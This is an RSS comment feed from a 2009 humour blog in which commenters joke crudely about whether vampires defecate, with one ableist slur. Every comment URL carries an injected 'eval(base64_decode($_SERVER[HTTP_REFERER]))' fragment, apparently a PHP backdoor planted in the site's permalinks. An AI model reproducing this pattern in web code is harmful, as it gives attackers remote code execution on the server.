Comments on: Interesting Text Message http://crujonessociety.com/2009/10/20/interesting-text-message-5/ Because the internet can't be all porn... Mon, 21 May 2012 02:01:00 +0000 hourly 1 http://wordpress.org/?v=3.3.1 By: augie.maestas http://crujonessociety.com/2009/10/20/interesting-text-message-5/comment-page-1/#comment-10544 augie.maestas Fri, 23 Oct 2009 21:59:05 +0000 http://crujonessociety.com/2009/10/20/interesting-text-message-5/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-10544 I think the real answer in this whole situation is...when dead, you become retard strong. I think the real answer in this whole situation is…when dead, you become retard strong.

]]> By: Lady E http://crujonessociety.com/2009/10/20/interesting-text-message-5/comment-page-1/#comment-10177 Lady E Wed, 21 Oct 2009 03:05:42 +0000 http://crujonessociety.com/2009/10/20/interesting-text-message-5/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-10177 CassieB That is (pun fully intended) the grossest shit I have ever read. CassieB
That is (pun fully intended) the grossest shit I have ever read.

]]> By: CassieB http://crujonessociety.com/2009/10/20/interesting-text-message-5/comment-page-1/#comment-10176 CassieB Tue, 20 Oct 2009 20:07:06 +0000 http://crujonessociety.com/2009/10/20/interesting-text-message-5/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-10176 The answer is yes. Vampires do shit. Being a mother of a 4 month old who eats/drinks exclusively breastmilk I can assure you he still shits...a lot. For your reference it is traditionally very runny, but occassionally has a higher chunk level. My doctor has said that this happens when fat particles conglom together during digestion. So I would assume, for a vampire, they generally experience diarrhea, except when indulging on the blood of an obese man with excess fat and plaque in the blood. The answer is yes. Vampires do shit.

Being a mother of a 4 month old who eats/drinks exclusively breastmilk I can assure you he still shits…a lot. For your reference it is traditionally very runny, but occassionally has a higher chunk level. My doctor has said that this happens when fat particles conglom together during digestion. So I would assume, for a vampire, they generally experience diarrhea, except when indulging on the blood of an obese man with excess fat and plaque in the blood.

]]> By: Gutter http://crujonessociety.com/2009/10/20/interesting-text-message-5/comment-page-1/#comment-10175 Gutter Tue, 20 Oct 2009 19:28:39 +0000 http://crujonessociety.com/2009/10/20/interesting-text-message-5/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-10175 I think we are getting away from the original question here and that is do vampire's shit. I would say yes regardless of whether they eat food or just drink blood. I am guessing they would have very bad diarrhea from a strict liquid diet, but I think they would do more than just piss. I think we are getting away from the original question here and that is do vampire’s shit. I would say yes regardless of whether they eat food or just drink blood. I am guessing they would have very bad diarrhea from a strict liquid diet, but I think they would do more than just piss.

]]> By: Tron http://crujonessociety.com/2009/10/20/interesting-text-message-5/comment-page-1/#comment-10174 Tron Tue, 20 Oct 2009 16:09:26 +0000 http://crujonessociety.com/2009/10/20/interesting-text-message-5/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comment-10174 If you read Christopher Moore's book "Bloodsucking Fiends" there are several paragraphs devoted to a freshly turned Vampire taking the final shit of his unlife. I'd recommend reading the prequel first titled "You Suck". Also in those books they puke if they eat human food, unless they mix some blood in with it. So maybe one could conclude that if they ate food with blood mixed in they may shit again. If you read Christopher Moore’s book “Bloodsucking Fiends” there are several paragraphs devoted to a freshly turned Vampire taking the final shit of his unlife. I’d recommend reading the prequel first titled “You Suck”.
Also in those books they puke if they eat human food, unless they mix some blood in with it. So maybe one could conclude that if they ate food with blood mixed in they may shit again.

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